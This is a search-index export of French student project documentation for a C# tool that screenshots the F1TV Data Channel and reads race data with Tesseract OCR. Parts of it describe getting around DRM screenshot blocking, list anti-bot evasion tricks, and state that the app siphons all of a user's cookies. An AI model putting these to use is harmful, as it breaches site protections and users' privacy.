DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu.","title":"PT1 Programmation r\u00e9cup\u00e9ration des images (3)"},{"location":"index.html#pt2-programmation-ocr-5","text":"Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat.","title":"PT2 Programmation OCR (5)"},{"location":"index.html#pt3-programmation-stockage-et-modele-5","text":"Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture.","title":"PT3 Programmation, stockage et mod\u00e8le (5)"},{"location":"index.html#pt4-programmation-vue-de-lapp-5","text":"Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le.","title":"PT4 Programmation Vue de l'APP (5)"},{"location":"index.html#pt5-programmation-mise-en-commun-3","text":"Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours.","title":"PT5 Programmation mise en commun (3)"},{"location":"index.html#tt","text":"Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re.","title":"TT"},{"location":"index.html#tt1-tests-ocr-2","text":"Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation.","title":"TT1 Tests OCR (2)"},{"location":"index.html#tt2-tests-finaux-2","text":"Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9.","title":"TT2 Tests finaux (2)"},{"location":"index.html#planning-effectif-et-differences","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Planning effectif et diff\u00e9rences"},{"location":"index.html#analyse-fonctionnelle","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"Analyse fonctionnelle"},{"location":"index.html#analyse-organique","text":"[A remplir au fur et \u00e0 mesure que les features sont d\u00e9velopp\u00e9es]","title":"Analyse Organique"},{"location":"index.html#recuperation-des-images","text":"Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet.","title":"R\u00e9cup\u00e9ration des images"},{"location":"index.html#comment-faire","text":"Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis.","title":"Comment faire ?"},{"location":"index.html#simuler-un-navigateur","text":"Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI. \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox.","title":"Simuler un navigateur ?"},{"location":"index.html#controler-le-navigateur","text":"Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet.","title":"Contr\u00f4ler le navigateur"},{"location":"index.html#recuperer-les-cookies","text":"Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. [FINIR CETTE EXPLICATIOn]","title":"R\u00e9cup\u00e8rer les cookies ?"},{"location":"index.html#calibration","text":"[AJOUTER EXPLICATION]","title":"Calibration"},{"location":"index.html#ocr","text":"Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants.","title":"OCR"},{"location":"index.html#fonctionnement-general","text":"Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#filtres-et-traitement","text":"On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements :","title":"Filtres et traitement"},{"location":"index.html#texte","text":"Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote","title":"Texte"},{"location":"index.html#chiffres","text":"Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 